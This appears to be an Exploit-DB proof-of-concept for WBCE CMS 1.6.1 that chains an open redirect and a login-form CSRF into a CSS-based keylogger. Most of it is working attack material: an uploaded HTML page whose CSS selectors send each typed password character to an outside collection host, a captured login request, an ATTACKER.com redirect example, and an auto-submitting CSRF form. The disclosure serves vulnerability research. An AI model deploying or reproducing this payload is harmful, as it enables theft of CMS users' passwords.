ef9b4e5962
20 changes to exploits/shellcodes/ghdb TP-Link TL-WR940N V4 - Buffer OverFlow D-Link DAP-1325 - Broken Access Control Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) FuguHub 8.1 - Remote Code Execution GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS) PodcastGenerator 3.2.9 - Blind SSRF via XML Injection POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) Prestashop 8.0.4 - Cross-Site Scripting (XSS) Rukovoditel 3.4.1 - Multiple Stored XSS Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) spip v4.1.10 - Spoofing Admin account Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS) Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS) WBCE CMS 1.6.1 - Open Redirect & CSRF WebsiteBaker v2.13.3 - Directory Traversal WebsiteBaker v2.13.3 - Stored XSS WP AutoComplete 1.0.4 - Unauthenticated SQLi
239 lines
No EOL
12 KiB
Text
239 lines
No EOL
12 KiB
Text
Exploit Title: WBCE CMS 1.6.1 - Open Redirect & CSRF
|
|
Version: 1.6.1
|
|
Bugs: Open Redirect + CSRF = CSS KEYLOGGING
|
|
Technology: PHP
|
|
Vendor URL: https://wbce-cms.org/
|
|
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
|
|
Date of found: 03-07-2023
|
|
Author: Mirabbas Ağalarov
|
|
Tested on: Linux
|
|
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
|
|
1. Login to Account
|
|
2. Go to Media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw)
|
|
3. Then you upload html file .(html file content is as below)
|
|
|
|
'''
|
|
<html>
|
|
<head>
|
|
<title>
|
|
Login
|
|
</title>
|
|
<style>
|
|
input[type="password"][value*="q"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/q');}
|
|
input[type="password"][value*="w"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/w');}
|
|
input[type="password"][value*="e"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/e');}
|
|
input[type="password"][value*="r"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/r');}
|
|
input[type="password"][value*="t"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/t');}
|
|
input[type="password"][value*="y"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/y');}
|
|
input[type="password"][value*="u"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/u');}
|
|
input[type="password"][value*="i"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/i');}
|
|
input[type="password"][value*="o"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/o');}
|
|
input[type="password"][value*="p"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/p');}
|
|
input[type="password"][value*="a"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/a');}
|
|
input[type="password"][value*="s"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/s');}
|
|
input[type="password"][value*="d"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/d');}
|
|
input[type="password"][value*="f"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/f');}
|
|
input[type="password"][value*="g"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/g');}
|
|
input[type="password"][value*="h"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/h');}
|
|
input[type="password"][value*="j"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/j');}
|
|
input[type="password"][value*="k"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/k');}
|
|
input[type="password"][value*="l"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/l');}
|
|
input[type="password"][value*="z"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/z');}
|
|
input[type="password"][value*="x"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/x');}
|
|
input[type="password"][value*="c"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/c');}
|
|
input[type="password"][value*="v"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/v');}
|
|
input[type="password"][value*="b"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/b');}
|
|
input[type="password"][value*="n"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/n');}
|
|
input[type="password"][value*="m"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/m');}
|
|
input[type="password"][value*="Q"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/Q');}
|
|
input[type="password"][value*="W"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/W');}
|
|
input[type="password"][value*="E"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/E');}
|
|
input[type="password"][value*="R"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/R');}
|
|
input[type="password"][value*="T"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/T');}
|
|
input[type="password"][value*="Y"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/Y');}
|
|
input[type="password"][value*="U"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/U');}
|
|
input[type="password"][value*="I"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/I');}
|
|
input[type="password"][value*="O"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/O');}
|
|
input[type="password"][value*="P"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/P');}
|
|
input[type="password"][value*="A"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/A');}
|
|
input[type="password"][value*="S"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/S');}
|
|
input[type="password"][value*="D"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/D');}
|
|
input[type="password"][value*="F"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/F');}
|
|
input[type="password"][value*="G"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/G');}
|
|
input[type="password"][value*="H"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/H');}
|
|
input[type="password"][value*="J"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/J');}
|
|
input[type="password"][value*="K"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/K');}
|
|
input[type="password"][value*="L"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/L');}
|
|
input[type="password"][value*="Z"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/Z');}
|
|
input[type="password"][value*="X"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/X');}
|
|
input[type="password"][value*="C"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/C');}
|
|
input[type="password"][value*="V"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/V');}
|
|
input[type="password"][value*="B"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/B');}
|
|
input[type="password"][value*="N"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/N');}
|
|
input[type="password"][value*="M"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/M');}
|
|
input[type="password"][value*="1"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/1');}
|
|
input[type="password"][value*="2"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/2');}
|
|
input[type="password"][value*="3"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/3');}
|
|
input[type="password"][value*="4"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/4');}
|
|
input[type="password"][value*="5"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/5');}
|
|
input[type="password"][value*="6"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/6');}
|
|
input[type="password"][value*="7"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/7');}
|
|
input[type="password"][value*="8"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/8');}
|
|
input[type="password"][value*="9"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/9');}
|
|
input[type="password"][value*="0"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/0');}
|
|
input[type="password"][value*="-"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/-');}
|
|
input[type="password"][value*="."]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/.');}
|
|
input[type="password"][value*="_"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%60');}
|
|
input[type="password"][value*="@"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%40');}
|
|
input[type="password"][value*="?"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3F');}
|
|
input[type="password"][value*=">"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3E');}
|
|
input[type="password"][value*="<"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3C');}
|
|
input[type="password"][value*="="]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3D');}
|
|
input[type="password"][value*=":"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3A');}
|
|
input[type="password"][value*=";"]{
|
|
background-image: url('https://enflownwx6she.x.pipedream.net/%3B');}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<label>Please enter username and password</label>
|
|
<br><br>
|
|
Password:: <input type="password" />
|
|
<script>
|
|
document.querySelector('input').addEventListener('keyup', (evt)=>{
|
|
evt.target.setAttribute('value', evt.target.value);
|
|
})
|
|
</script>
|
|
</body>
|
|
</html>
|
|
'''
|
|
|
|
4.Then go to url of html file (http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html) and copy url.
|
|
5.Then you logout account and go to again login page (http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php)
|
|
|
|
|
|
POST /WBCE_CMS-1.6.1/wbce/admin/login/index.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 160
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua:
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: ""
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: phpsessid-2729-sid=3i7oqonhjf0ug0jl5dfdp4uugg
|
|
Connection: close
|
|
|
|
url=&username_fieldname=username_3584B221EC89&password_fieldname=password_3584B221EC89&username_3584B221EC89=test&password_3584B221EC89=Hello123%21&submit=Login
|
|
|
|
6.If write as (https://ATTACKER.com) in url parameter on abowe request on you redirect to attacker.com.
|
|
7.We write to html files url
|
|
|
|
url=http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html
|
|
|
|
8.And create csrf-poc with csrf.poc.generator
|
|
|
|
<html>
|
|
<title>
|
|
This CSRF was found by miri
|
|
</title>
|
|
<body>
|
|
<h1>
|
|
CSRF POC
|
|
</h1>
|
|
<form action="http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php" method="POST" enctype="application/x-www-form-urlencoded">
|
|
<input type="hidden" name="url" value="http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html" />
|
|
</form>
|
|
<script>document.forms[0].submit();</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
9.If victim click , ht redirect to html file and this page send to my server all keyboard activity of victim.
|
|
|
|
|
|
Poc video : https://youtu.be/m-x_rYXTP9E |